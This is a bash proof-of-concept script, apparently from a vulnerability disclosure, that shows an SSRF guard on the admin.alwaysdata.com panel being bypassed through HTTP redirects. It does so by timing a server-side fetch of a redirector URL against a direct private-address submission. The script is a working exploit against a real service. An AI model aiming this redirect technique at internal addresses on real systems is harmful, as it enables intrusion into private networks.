#!/bin/bash
# Incomplete fix for FS#401: the SSRF address guard is not re-applied on HTTP redirects.
#
# Shows the difference between a directly submitted private address, which the guard resolves
# and refuses without connecting, and the same address reached through a redirect, which the
# fetcher actually connects to. 10.255.255.1 is unroutable, so an attempted connection appears
# as a ~20s TCP timeout while a refusal by the guard returns in well under a second.
#
# Setup required before running:
#   1. An authenticated admin.alwaysdata.com session saved in a curl cookie jar.
#   2. An application script object you own. The installation script must start with a shebang
#      followed by commented YAML, for example:
#          #!/bin/bash
#          # site:
#          #   type: custom
#          echo installed
#   3. A host you control serving this one line of PHP:
#          <?php header("Location: http://10.255.255.1:8080/", true, 302); exit;
#
# Usage:
#   JAR=/path/cookies.txt SCRIPT_ID=386 REDIRECTOR=https://you.example/r.php bash poc.sh
#
# Observed on 2026-08-25, five runs:
#   direct    0.635s / 0.591s / 0.591s / 0.584s / 0.589s
#   redirect 20.340s / 20.447s / 20.397s / 20.108s / 20.631s
#
# Redirect chains are followed at depth: a three hop chain ending at 10.255.255.1:8080
# also blocks for 20.035s, so the stored URI is not the effective destination.

set -u

JAR="${JAR:?path to curl cookie jar with an admin.alwaysdata.com session}"
SCRIPT_ID="${SCRIPT_ID:?id of an application script object you own}"
REDIRECTOR="${REDIRECTOR:?url on a host you control that 302s to http://10.255.255.1:8080/}"

BASE="https://admin.alwaysdata.com/site/application/script/${SCRIPT_ID}/"
BODY=$'#!/bin/bash\n# site:\n#   type: custom\necho installed'

csrf() {
  curl -s -m 25 -b "$JAR" -c "$JAR" "$BASE" \
    | grep -oE "csrfmiddlewaretoken[\"']? value=[\"'][^\"']+" \
    | tail -1 | sed "s/.*value=[\"']//"
}

measure() {
  local uri="$1" label="$2" set_code

  # Re-posting the whole form also resets the script field, so each run starts from the same state.
  set_code=$(curl -s -m 30 -b "$JAR" -c "$JAR" -X POST "$BASE" -H "Referer: $BASE" \
    --data-urlencode "csrfmiddlewaretoken=$(csrf)" \
    --data-urlencode "name=poc" \
    --data-urlencode "url=https://example.org/" \
    --data-urlencode "author_name=poc" \
    --data-urlencode "author_uri=https://example.org/" \
    --data-urlencode "script=$BODY" \
    --data-urlencode "script_upstream_uri=$uri" -o /dev/null -w '%{http_code}')

  if [ "$set_code" != "302" ]; then
    printf '%-46s form rejected the URI (http %s)\n' "$label" "$set_code"
    return
  fi

  printf '%-46s ' "$label"
  curl -s -m 120 -b "$JAR" -c "$JAR" -X POST "${BASE}update_script/" -H "Referer: $BASE" \
    --data-urlencode "csrfmiddlewaretoken=$(csrf)" \
    -o /dev/null -w 'total=%{time_total}s\n'
}

measure "http://10.255.255.1:8080/" "direct   10.255.255.1:8080"
measure "$REDIRECTOR"               "redirect 10.255.255.1:8080"
